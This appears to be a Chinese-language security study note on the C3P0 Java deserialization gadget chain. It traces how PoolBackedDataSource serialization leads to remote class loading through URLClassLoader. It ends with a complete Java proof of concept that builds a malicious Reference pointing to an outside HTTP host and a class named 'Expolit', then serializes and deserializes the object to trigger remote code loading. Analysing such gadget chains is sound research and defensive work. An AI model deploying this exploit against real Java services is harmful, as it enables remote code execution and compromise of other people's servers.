C3P0

C3P0(Connection Pool 3.0)是一个用于管理数据库连接池的开源 Java 库,实现了数据源和 JNDI 绑定,支持 JDBC3 规范和 JDBC2 的拓展,在很多开源项目中都使用到。

原始调用链分析

先看看 com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase 类的 writeObject() 方法,在序列化时,会尝试序列化变量 connectionPoolDataSource ,如果 connectionPoolDataSource 是不可序列化的对象,则使用 ReferenceIndirector.indirectForm() 进行封装

![image-20260116001156979](/Users/huangzixuan/Library/Application Support/typora-user-images/image-20260116001156979.png)

跟进 indirectForm() 方法,会调用 javax.naming.Referenceable#getReference() 返回一个 Reference 对象,并用 ReferenceSerialized 封装后返回

![image-20260116001233578](/Users/huangzixuan/Library/Application Support/typora-user-images/image-20260116001233578.png)

在反序列化时重新生成 ConnectionPoolDataSource 对象

![image-20260116001521340](/Users/huangzixuan/Library/Application Support/typora-user-images/image-20260116001521340.png)

跟进 getObject() 方法,调用 javax.naming.Context.lookup() 通过 JNDI 获取对象。当 env、contextName 为 null 时则会调用 com.mchange.v2.naming.ReferenceableUtils.referenceToObject() 加载远程对象

![image-20260116001556916](/Users/huangzixuan/Library/Application Support/typora-user-images/image-20260116001556916.png)

referenceToObject() 方法就是一个简单的 URLClassLoader 加载远程对象

![image-20260116011343492](/Users/huangzixuan/Library/Application Support/typora-user-images/image-20260116011343492.png)

所以这个调用链的构造就很简单了,构造一个带有恶意利用的 ConnectionPoolDataSource 对象,通过远程加载实现利用。这个地方的 contextName 没法控制,所以不能通过 lookup 实现 JNDI 注入。

POC

package org.example;
import java.io.IOException;
import java.io.PrintWriter;
import java.lang.reflect.InvocationTargetException;
import java.sql.SQLException;
import java.sql.SQLFeatureNotSupportedException;
import java.util.logging.Logger;

import javax.naming.NamingException;
import javax.naming.Reference;
import javax.naming.Referenceable;
import javax.sql.ConnectionPoolDataSource;
import javax.sql.PooledConnection;

import TOOl.Reflections;
import com.mchange.v2.c3p0.PoolBackedDataSource;
import com.mchange.v2.c3p0.impl.PoolBackedDataSourceBase;

import static TOOl.tool.serialize;
import static TOOl.tool.unserialize;

public class C3P0 {
    private static final class PoolSource implements ConnectionPoolDataSource, Referenceable {

        private String className;
        private String url;

        public PoolSource ( String className, String url ) {
            this.className = className;
            this.url = url;
        }

        public Reference getReference () throws NamingException {
            return new Reference("exploit", this.className, this.url);
        }

        public PrintWriter getLogWriter () throws SQLException {return null;}
        public void setLogWriter ( PrintWriter out ) throws SQLException {}
        public void setLoginTimeout ( int seconds ) throws SQLException {}
        public int getLoginTimeout () throws SQLException {return 0;}
        public Logger getParentLogger () throws SQLFeatureNotSupportedException {return null;}
        public PooledConnection getPooledConnection () throws SQLException {return null;}
        public PooledConnection getPooledConnection ( String user, String password ) throws SQLException {return null;}

    }

    public static void main(String[] args) throws IllegalAccessException, InvocationTargetException, NoSuchMethodException, InstantiationException, IOException, ClassNotFoundException {
        String url = "http://www.bb5dc2b5e9.ddns.1433.eu.org";
        String className = "Expolit";
        PoolBackedDataSource b = Reflections.createWithoutConstructor(PoolBackedDataSource.class);
        Reflections.getField(PoolBackedDataSourceBase.class, "connectionPoolDataSource").set(b, new PoolSource(className, url));

        String serialize = serialize(b);
        unserialize(serialize);

    }


}

![image-20260117170324025](/Users/huangzixuan/Library/Application Support/typora-user-images/image-20260117170324025.png)